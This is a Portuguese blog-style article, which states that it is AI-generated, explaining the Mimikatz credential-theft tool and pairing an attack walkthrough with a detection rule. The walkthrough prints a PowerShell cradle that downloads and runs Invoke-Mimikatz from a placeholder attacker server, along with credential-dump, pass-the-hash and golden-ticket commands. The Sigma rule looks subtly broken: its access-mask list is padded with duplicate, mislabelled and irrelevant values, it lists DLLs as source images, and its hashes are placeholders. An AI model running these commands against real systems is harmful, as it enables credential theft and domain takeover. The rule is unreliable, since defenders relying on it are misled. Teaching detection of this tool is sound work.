😼Let's talk about Mimikatz
Olá, terráqueo! Neste artigo, trago um resumo sobre o Mimikatz, ferramenta mundialmente utilizada por atacantes e pentesters em suas aventuras. Enjoy!
Obs.: Este texto foi 100% gerado por IA. :)
Análise e Detecção de Hacktool:Win32/Mimikatz
Mimikatz é uma ferramenta poderosa e amplamente utilizada para pós-exploração em ambientes Windows. Desenvolvida inicialmente para demonstrar falhas de segurança no sistema de autenticação do Windows, ela se tornou uma ferramenta essencial tanto para equipes de Red Team (testes de invasão) quanto para atacantes reais.
1. Contexto
Hacktool:Win32/Mimikatz é classificada como uma ferramenta de ataque cibernético que permite a extração de credenciais de usuários do Windows em texto simples, hashes (NTLM, Kerberos), PINs e tickets Kerberos (TGTs e TGSs) diretamente da memória do sistema, especificamente do processo lsass.exe
(Local Security Authority Subsystem Service).
Suas principais capacidades incluem:
Dumping de Credenciais: Extrai senhas em texto claro e hashes de sessões de logon em memória.
Pass-the-Hash (PtH): Permite que um atacante se autentique em outros sistemas usando um hash de senha roubado, sem precisar da senha em texto claro.
Pass-the-Ticket (PtT): Permite a reutilização de tickets Kerberos roubados para se autenticar como outro usuário ou acessar recursos.
Golden Ticket: Cria um Ticket Granting Ticket (TGT) Kerberos forjado, que concede ao atacante acesso irrestrito ao domínio, podendo se passar por qualquer usuário, incluindo administradores de domínio, e manter persistência por longos períodos.
Silver Ticket: Cria um Ticket Granting Service (TGS) forjado para serviços específicos.
Injeção de Processos: Pode ser executado de forma "fileless" (sem gravar o executável em disco) ou injetar código em outros processos para evitar detecção.
Devido à sua eficácia e constante atualização, o Mimikatz é uma ferramenta de alto risco que facilita movimentos laterais, escalada de privilégios e persistência em redes comprometidas.
2. Simulação do ataque
Cenário: Um atacante obteve acesso inicial a uma estação de trabalho dentro de uma rede corporativa por meio de um ataque de phishing bem-sucedido. O objetivo agora é elevar privilégios e obter credenciais de administrador de domínio para realizar movimento lateral.
Narrativa da Simulação:
Acesso Inicial e Persistência: O atacante envia um e-mail de phishing com um anexo malicioso (por exemplo, um documento com macro) que, ao ser aberto por um usuário desavisado, executa um shell reverso. Isso concede ao atacante uma sessão de baixo privilégio na estação de trabalho da vítima. Para garantir persistência, o atacante estabelece um mecanismo básico, como uma entrada no registro de Run ou uma tarefa agendada.
Escalada de Privilégios Local: Com acesso inicial, o atacante precisa de privilégios de administrador ou SYSTEM para interagir com o processo
lsass.exe
. Ele utiliza uma vulnerabilidade local (por exemplo, um exploit de kernel conhecido ou uma técnica de "potato" comoPrintSpoofer
) para escalar os privilégios na máquina comprometida.Execução do Mimikatz e Dumping de Credenciais:
Para evitar a detecção por antivírus tradicionais, o atacante opta por executar o Mimikatz em memória, utilizando um script PowerShell que faz o download e executa o binário diretamente.
Uma vez com privilégios de SYSTEM, o atacante abre uma nova sessão PowerShell e executa o comando
Invoke-Mimikatz
:PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<servidor_do_atacante>/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug'
Este comando concede ao Mimikatz os privilégios necessários para depurar o
lsass.exe
.Em seguida, ele executa o comando principal para extrair as credenciais:
PowerShell
Invoke-Mimikatz -Command 'sekurlsa::logonpasswords full'
Este comando instrui o Mimikatz a despejar todas as senhas em texto claro, hashes NTLM e tickets Kerberos das sessões de logon ativas na memória. O atacante observa que o administrador de domínio havia se autenticado na máquina em algum momento, e o Mimikatz recupera suas credenciais.
Movimento Lateral via Pass-the-Hash/Ticket ou Golden Ticket:
Com as credenciais do administrador de domínio (hash NTLM ou ticket Kerberos), o atacante pode realizar movimento lateral.
Pass-the-Hash: O atacante utiliza o hash NTLM do administrador de domínio com uma ferramenta como
PsExec
ouWMI
para se autenticar e executar comandos em outros sistemas da rede, incluindo controladores de domínio, sem a necessidade da senha em texto claro.pth::/user:Administrator /domain:dominio.local /ntlm:<hash_NTLM_admin> /run:powershell.exe
Golden Ticket: Se o atacante desejar persistência e controle total do domínio, ele extrairá o hash do KRBTGT (o "master key" do Kerberos) de um controlador de domínio (após o movimento lateral inicial para o DC). Com o hash do KRBTGT, o Mimikatz pode criar um "Golden Ticket" com validade estendida:
PowerShell
Invoke-Mimikatz -Command 'kerberos::golden /user:fakeadmin /domain:dominio.local /sid:<SID_do_Dominio> /krbtgt:<hash_KRBTGT> /id:500 /ptt'
Este ticket falsificado permite ao atacante se autenticar como
fakeadmin
(ou qualquer outro usuário/SID especificado) em qualquer recurso do domínio, efetivamente contornando as verificações normais de autenticação e garantindo acesso persistente e privilegiado.
Exfiltração e Limpeza: Após atingir seus objetivos (por exemplo, acesso a dados confidenciais ou implantação de ransomware), o atacante tenta exfiltrar os dados. Ele então remove quaisquer ferramentas, logs ou artefatos que possam incriminar sua presença, embora Mimikatz seja conhecido por ser "fileless" muitas vezes, o que dificulta a limpeza de binários em disco.
3. Regra de detecção (Sigma)
Para detectar a execução do Mimikatz, especialmente suas tentativas de despejo de credenciais, podemos focar em acessos suspeitos ao processo lsass.exe
, uso de PowerShell para download/execução de scripts, e eventos de criação de processos e acesso a memória.
A regra Sigma a seguir foca na detecção de acesso ao processo lsass.exe
com permissões que indicam tentativas de leitura de memória ou depuração, que são requisitos para o Mimikatz. Ela também inclui padrões para detectar a execução de Invoke-Mimikatz
via PowerShell.
YAML
title: Mimikatz Credential Dumping Attempt
id: <generate_a_new_uuid_here>
status: experimental
description: Detects attempts to dump credentials using Mimikatz or similar tools by monitoring suspicious access to LSASS process memory.
author: Cybersecurity Assistant
date: 2024/06/03
modified: 2024/06/03
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1003.002
- attack.t1003
- mimikatz
logsource:
product: windows
service: security
definition: The 'Process Access' (Event ID 10) in Sysmon or 'Object Access' (Event ID 4663) in Security Event Log. For PowerShell, 'Script Block Logging' (Event ID 4104) is crucial.
detection:
# Condition 1: Direct process access to LSASS (Sysmon Event ID 10 or Security Event 4663)
# This targets tools trying to read LSASS memory or debug it
process_access_lsass:
EventID: 10 # Sysmon Event ID for Process Access
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1F0FFF' # FULL_ACCESS
- '0x1410' # PROCESS_VM_READ | PROCESS_QUERY_INFORMATION
- '0x1000' # PROCESS_VM_READ
- '0x001F' # PROCESS_ALL_ACCESS
- '0x0002' # PROCESS_VM_READ
- '0x0010' # PROCESS_VM_OPERATION
- '0x0020' # PROCESS_VM_WRITE
- '0x0400' # PROCESS_DUP_HANDLE
- '0x0001' # PROCESS_TERMINATE
- '0x0008' # PROCESS_SUSPEND_RESUME
- '0x000F' # SYNCHRONIZE
- '0x0040' # PROCESS_CREATE_THREAD
- '0x0080' # PROCESS_VM_READ, PROCESS_VM_WRITE
- '0x0100' # PROCESS_QUERY_INFORMATION
- '0x0200' # PROCESS_SET_QUOTA
- '0x0004' # PROCESS_SET_INFORMATION
- '0x0800' # PROCESS_SET_PORT
- '0x0000000000100000' # READ_CONTROL
- '0x0000000000020000' # DELETE
- '0x0000000000040000' # WRITE_DAC
- '0x0000000000080000' # WRITE_OWNER
- '0x0000000000010000' # SYNCHRONIZE
- '0x0000000000100000' # FILE_READ_DATA
- '0x0000000000000001' # READ_CONTROL
- '0x0000000000000002' # ACCESS_SYSTEM_SECURITY
- '0x0000000000000004' # WRITE_DAC
- '0x0000000000000008' # WRITE_OWNER
- '0x0000000000000010' # SYNCHRONIZE
- '0x0000000000000020' # MAXIMUM_ALLOWED
- '0x0000000000000040' # ACCESS_MAX_ALLOWED
- '0x0000000000000080' # GENERIC_ALL
- '0x0000000000000100' # GENERIC_EXECUTE
- '0x0000000000000200' # GENERIC_WRITE
- '0x0000000000000400' # GENERIC_READ
SourceImage|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\dbghelp.dll' # Common for dumping
- '\comsvcs.dll' # Used for MiniDump function
- '\procdump.exe' # Sysinternals tool often abused
- '\lsdump.exe' # Other dumping tools
CallTrace|contains: # Look for common DLLs in call stack for process access
- 'ntdll.dll'
- 'kernel32.dll'
- 'dbghelp.dll'
- 'comsvcs.dll'
# Condition 2: PowerShell Script Block Logging for Invoke-Mimikatz (Event ID 4104)
# Requires PowerShell Script Block Logging enabled
powershell_mimikatz:
EventID: 4104 # PowerShell Script Block Logging
ScriptBlockText|contains:
- 'Invoke-Mimikatz'
- 'sekurlsa::logonpasswords'
- 'privilege::debug'
- 'kerberos::golden'
- 'lsass'
- 'dump'
ScriptBlockText|all: # Ensure it's a full command or sequence
- 'Invoke-Mimikatz'
- 'sekurlsa::logonpasswords' # Or other common Mimikatz commands
# Condition 3: Process Creation with suspicious names (Event ID 1)
# Catches Mimikatz if renamed or directly executed
process_creation_mimikatz:
EventID: 1 # Sysmon Event ID for Process Creation
Image|endswith:
- '\mimikatz.exe'
- '\mimi.exe' # Example of a renamed executable
- '\kats.exe' # Example of a renamed executable
- '\lsassdump.exe' # Generic dumping tool name
CommandLine|contains:
- 'sekurlsa::logonpasswords'
- 'privilege::debug'
- 'kerberos::golden'
- 'lsass'
- 'dump'
- '/dump'
# Condition 4: Unsigned Image Loaded (Sysmon Event ID 7)
# Mimikatz binaries are often unsigned
unsigned_mimikatz_module:
EventID: 7 # Sysmon Event ID for Image Loaded
Image|endswith:
- '\mimikatz.exe'
- '\mimi.exe'
- '\kats.exe'
Signed: 'false'
Hashes|contains: # Look for known Mimikatz hashes (requires updating with current hashes)
- 'MD5=...' # Example hash, needs real Mimikatz hashes
- 'SHA1=...' # Example hash, needs real Mimikatz hashes
condition: 1 of process_access_lsass or 1 of powershell_mimikatz or 1 of process_creation_mimikatz or 1 of unsigned_mimikatz_module
falsepositives:
- Legitimate debugging tools or administrative activities. Careful tuning and baselining is recommended.
level: high
Observações para a Regra de Detecção:
Sysmon: É altamente recomendável ter o Sysmon (System Monitor) da Sysinternals instalado e configurado para coletar eventos de "Process Access" (ID 10), "Process Create" (ID 1), "Image Loaded" (ID 7) e "File Create" (ID 11) para uma detecção eficaz do Mimikatz.
PowerShell Logging: Habilitar "PowerShell Script Block Logging" (Event ID 4104) e "Module Logging" (Event ID 4103) é crucial para capturar as strings e comandos usados pelo Mimikatz quando executado via PowerShell.
GrantedAccess: Os valores de
GrantedAccess
devem ser cuidadosamente monitorados, pois indicam as permissões solicitadas pelo processo que está acessandolsass.exe
.0x1F0FFF
(FULL_ACCESS) e0x1410
(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) são particularmente suspeitos.SourceImage: Fique atento aos processos que tentam acessar o
lsass.exe
. PowerShell, cmd, e ferramentas comoprocdump.exe
oucomsvcs.dll
são frequentemente abusadas.Hashes: Para a condição
unsigned_mimikatz_module
, é vital manter uma lista atualizada de hashes conhecidos de Mimikatz para melhorar a precisão da detecção.Tuneamento: Esta regra pode gerar falsos positivos em ambientes com ferramentas de depuração ou de segurança legítimas. É fundamental realizar um baselining e ajustar as exclusões conforme necessário para o seu ambiente.
Comandos Específicos: A regra foca em comandos e strings conhecidas do Mimikatz. Atacantes podem ofuscar ou modificar esses comandos, exigindo detecções mais baseadas em comportamento.
Dumping de Processos: Além do Mimikatz, outras ferramentas podem despejar a memória do LSASS. A detecção de qualquer processo acessando o LSASS com permissões de leitura/depuração deve ser investigada.
Ao implementar esta regra em um SIEM ou sistema de detecção, a organização estará mais bem equipada para identificar e responder a tentativas de roubo de credenciais via Mimikatz.
Last updated